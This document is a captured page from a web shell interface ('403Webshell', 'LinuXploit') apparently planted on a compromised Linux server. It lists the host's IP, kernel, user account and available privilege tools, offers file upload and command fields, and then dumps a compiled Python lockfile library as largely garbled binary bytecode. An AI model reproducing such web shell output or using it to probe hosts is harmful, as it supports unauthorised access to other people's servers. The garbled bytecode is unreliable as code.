403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/dist-packages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/lockfile.pyc
�
~��Ic@ s	dZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
eed�s�eje_
neejd�s�ejjej_ndddd	d
ddd
dddgZdefd��YZdefd��YZdefd��YZd	efd��YZd
efd��YZdefd��YZdefd��YZd
efd��YZddd��YZdefd��YZdefd��YZdefd��YZeed�r�eZneZdS( s�
lockfile.py - Platform-independent advisory file locks.

Requires Python 2.5 unless you apply 2.4.diff
Locking is done on a per-thread basis instead of a per-process basis.

Usage:

>>> lock = FileLock('somefile')
>>> try:
...     lock.acquire()
... except AlreadyLocked:
...     print 'somefile', 'is locked already.'
... except LockFailed:
...     print 'somefile', 'can\'t be locked.'
... else:
...     print 'got lock'
got lock
>>> print lock.is_locked()
True
>>> lock.release()

>>> lock = FileLock('somefile')
>>> print lock.is_locked()
False
>>> with lock:
...    print lock.is_locked()
True
>>> print lock.is_locked()
False
>>> # It is okay to lock twice from the same thread...
>>> with lock:
...     lock.acquire()
...
>>> # Though no counter is kept, so you can't unlock multiple times...
>>> print lock.is_locked()
False

Exceptions:

    Error - base class for other exceptions
        LockError - base class for all locking exceptions
            AlreadyLocked - Another thread or process already holds the lock
            LockFailed - Lock failed for some other reason
        UnlockError - base class for all unlocking exceptions
            AlreadyUnlocked - File was not locked.
            NotMyLock - File was locked but not by the current thread/process
i����(tdivisionNtcurrent_threadtget_nametErrort	LockErrortLockTimeoutt
AlreadyLockedt
LockFailedtUnlockErrort	NotLockedt	NotMyLocktLinkFileLockt
MkdirFileLocktSQLiteFileLockcB seZdZRS(sw
    Base class for other exceptions.

    >>> try:
    ...   raise Error
    ... except Exception:
    ...   pass
    (t__name__t
__module__t__doc__(((s,/usr/lib/python2.7/dist-packages/lockfile.pyRHscB seZdZRS(s�
    Base class for error arising from attempts to acquire the lock.

    >>> try:
    ...   raise LockError
    ... except Error:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyRSscB seZdZRS(s�Raised when lock creation fails within a user-defined period of time.

    >>> try:
    ...   raise LockTimeout
    ... except LockError:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR^scB seZdZRS(s�Some other thread/process is locking the file.

    >>> try:
    ...   raise AlreadyLocked
    ... except LockError:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyRhscB seZdZRS(s�Lock file creation failed for some other reason.

    >>> try:
    ...   raise LockFailed
    ... except LockError:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyRrscB seZdZRS(s�
    Base class for errors arising from attempts to release the lock.

    >>> try:
    ...   raise UnlockError
    ... except Error:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR|scB seZdZRS(s�Raised when an attempt is made to unlock an unlocked file.

    >>> try:
    ...   raise NotLocked
    ... except UnlockError:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR	�scB seZdZRS(s�Raised when an attempt is made to unlock a file someone else locked.

    >>> try:
    ...   raise NotMyLock
    ... except UnlockError:
    ...   pass
    (RRR(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR
�stLockBasecB s\eZdZed�Zd	d�Zd�Zd�Zd�Z	d�Z
d�Zd�ZRS(
s.Base class for platform-specific lock classes.cC s�||_tjj|�d|_tj�|_tj�|_|rtt	j
�j�}dtj
|dd�}nd}tjj|j�}tjj|d|j||jf�|_dS(si
        >>> lock = LockBase('somefile')
        >>> lock = LockBase('somefile', threaded=False)
        s.locks%s-tsafets%s.%s%sN(tpathtostabspatht	lock_filetsockettgethostnamethostnametgetpidtpidt	threadingRRturllibtquotetdirnametjointunique_name(tselfRtthreadedtnamettnameR ((s,/usr/lib/python2.7/dist-packages/lockfile.pyt__init__�s		cC std��dS(s�
        Acquire the lock.

        * If timeout is omitted (or None), wait forever trying to lock the
          file.

        * If timeout > 0, try to acquire the lock for that many seconds.  If
          the lock period expires and the file is still locked, raise
          LockTimeout.

        * If timeout <= 0, raise AlreadyLocked immediately if the file is
          already locked.
        simplement in subclassN(tNotImplemented(R#ttimeout((s,/usr/lib/python2.7/dist-packages/lockfile.pytacquire�scC std��dS(sX
        Release the lock.

        If the file is not locked, raise NotLocked.
        simplement in subclassN(R((R#((s,/usr/lib/python2.7/dist-packages/lockfile.pytrelease�scC std��dS(s9
        Tell whether or not the file is locked.
        simplement in subclassN(R((R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyt	is_locked�scC std��dS(sA
        Return True if this object is locking the file.
        simplement in subclassN(R((R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyti_am_locking�scC std��dS(sN
        Remove a lock.  Useful if a locking thread failed to unlock.
        simplement in subclassN(R((R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyt
break_lock�scC s|j�|S(s*
        Context manager support.
        (R*(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyt	__enter__�s
cG s|j�dS(s*
        Context manager support.
        N(R+(R#t_exc((s,/usr/lib/python2.7/dist-packages/lockfile.pyt__exit__�sN(
RRRtTrueR'tNoneR*R+R,R-R.R/R1(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR�s					cB s>eZdZdd�Zd�Zd�Zd�Zd�ZRS(s7Lock access to a file using atomic property of link(2).cC sIyt|jd�j�Wn$tk
r@td|j��nXtj�}|dk	rr|dkrr||7}nx�trDytj	|j|j
�Wn�tk
r<tj|j�j
}|dkr�dS|dk	rtj�|krtj|j�|dkr
t�qt�ntj|dk	r2|dp5d�quXdSquWdS(Ntwbsfailed to create %siii
g�������?(topenR"tclosetIOErrorRttimeR3R2RtlinkRtOSErrortstattst_nlinktunlinkRRtsleep(R#R)tend_timetnlinks((s,/usr/lib/python2.7/dist-packages/lockfile.pyR*�s*

	
		'cC sW|j�st�ntjj|j�s3t�ntj|j�tj|j�dS(N(	R,R	RRtexistsR"R
R=R(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR+
s		cC stjj|j�S(N(RRRAR(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR,scC s:|j�o9tjj|j�o9tj|j�jdkS(Ni(R,RRRAR"R;R<(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR-scC s,tjj|j�r(tj|j�ndS(N(RRRARR=(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR.sN(	RRRR3R*R+R,R-R.(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR�s"			cB sJeZdZed�Zdd�Zd�Zd�Zd�Z	d�Z
RS(s"Lock file by creating a directory.cC sdtj|||�|r,dtj�}nd}tjj|jd|j||j	f�|_
dS(ss
        >>> lock = MkdirFileLock('somefile')
        >>> lock = MkdirFileLock('somefile', threaded=False)
        s%x-Rs%s.%s%sN(RR'tthreadt	get_identRRR!RRRR"(R#RR$R&((s,/usr/lib/python2.7/dist-packages/lockfile.pyR'#s	cC sFtj�}|dk	r1|dkr1||7}n|dkrFd}ntd|d�}x�trAytj|j�Wn�tk
r#tj	�d}|j
t
jkr
tjj
|j�r�dS|dk	r�tj�|kr�|dkr�t�q�t�ntj|�q>td|j��q\Xt|jd�j�dSq\WdS(Nig�������?i
isfailed to create %sR4(R8R3tmaxR2RtmkdirRR:tsystexc_infoterrnotEEXISTRRAR"RRR>RR5R6(R#R)R?twaitterr((s,/usr/lib/python2.7/dist-packages/lockfile.pyR*4s,
		
		cC sW|j�st�ntjj|j�s3t�ntj|j�tj|j	�dS(N(
R,R	RRRAR"R
R=trmdirR(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR+Vs		cC stjj|j�S(N(RRRAR(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR,^scC s|j�otjj|j�S(N(R,RRRAR"(R#((s,/usr/lib/python2.7/dist-packages/lockfile.pyR-ascC shtjj|j�rdx9tj|j�D]%}tjtjj|j|��q(Wtj|j�ndS(N(RRRARtlistdirR=R!RL(R#R%((s,/usr/lib/python2.7/dist-packages/lockfile.pyR.es#N(RRRR2R'R3R*R+R,R-R.(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR!s"			cB s�eZdZddlZej�\ZZeje�ej	e�[[e
d�Zdd�Z
d�Zd�Zd�Zd�Zd	�ZRS(
s.Demonstration of using same SQL-based locking.i����NcC s�tj|||�t|j�|_t|j�|_ddl}|jtj�|_	|j	j
�}y|jd�Wn|jk
r�n0X|j	j
�ddl}|jtjtj�dS(Ni����sGcreate table locks(   lock_file varchar(32),   unique_name varchar(32))(RR'tunicodeRR"tsqlite3tconnectR
ttestdbt
connectiontcursortexecutetOperationalErrortcommittatexittregisterRR=(R#RR$ROtcRW((s,/usr/lib/python2.7/dist-packages/lockfile.pyR'ts
cC s�tj�}|dk	r1|dkr1||7}n|dkrFd}n|dkr[d}n
|d}|jj�}x!tr�|j�s|jd|j|jf�|jj	�|jd|jf�|j
�}t|�dkr|jd|jf�|jj	�qKdSn8|jd|jf�|j
�}t|�dkrKdS|dk	r�tj�|kr�|dkr~t�q�t
�ntj|�qwWdS(Nig�������?i
s;insert into locks  (lock_file, unique_name)  values  (?, ?)s*select * from locks  where unique_name = ?is(delete from locks  where unique_name = ?(R8R3RRRSR2R,RTRR"RVtfetchalltlenRRR>(R#R)R?RJRStrows((s,/usr/lib/python2.7/dist-packages/lockfile.pyR*�s@
		
		
	
	
	
		cC su|j�st�n|j�s?t|j�|jf��n|jj�}|jd|jf�|jj	�dS(Ns(delete from locks  where unique_name = ?(
R,R	R-R
t_who_is_lockingR"RRRSRTRV(R#RS((s,/usr/lib/python2.7/dist-packages/lockfile.pyR+�s		
cC s3|jj�}|jd|jf�|j�dS(Ns2select unique_name from locks  where lock_file = ?i(RRRSRTRtfetchone(R#RS((s,/usr/lib/python2.7/dist-packages/lockfile.pyR]�s	
cC s7|jj�}|jd|jf�|j�}|S(Ns(select * from locks  where lock_file = ?(RRRSRTRRZ(R#RSR\((s,/usr/lib/python2.7/dist-packages/lockfile.pyR,�s
	
cC s7|jj�}|jd|j|jf�|j�S(Ns?select * from locks  where lock_file = ?    and unique_name = ?(RRRSRTRR"RZ(R#RS((s,/usr/lib/python2.7/dist-packages/lockfile.pyR-�s	cC s6|jj�}|jd|jf�|jj�dS(Ns&delete from locks  where lock_file = ?(RRRSRTRRV(R#RS((s,/usr/lib/python2.7/dist-packages/lockfile.pyR.�s	
(RRRttempfiletmkstempt_fdRQRR6R=R2R'R3R*R+R]R,R-R.(((s,/usr/lib/python2.7/dist-packages/lockfile.pyR
ks

<				R9(( Rt
__future__RRFRRRBRR8RHRthasattrt
currentThreadRtThreadtgetNameRt__all__t	ExceptionRRRRRRR	R
RRRR
tFileLock(((s,/usr/lib/python2.7/dist-packages/lockfile.pyt<module>1s>




M9J�	

Youez - 2016 - github.com/yon3zu
LinuXploit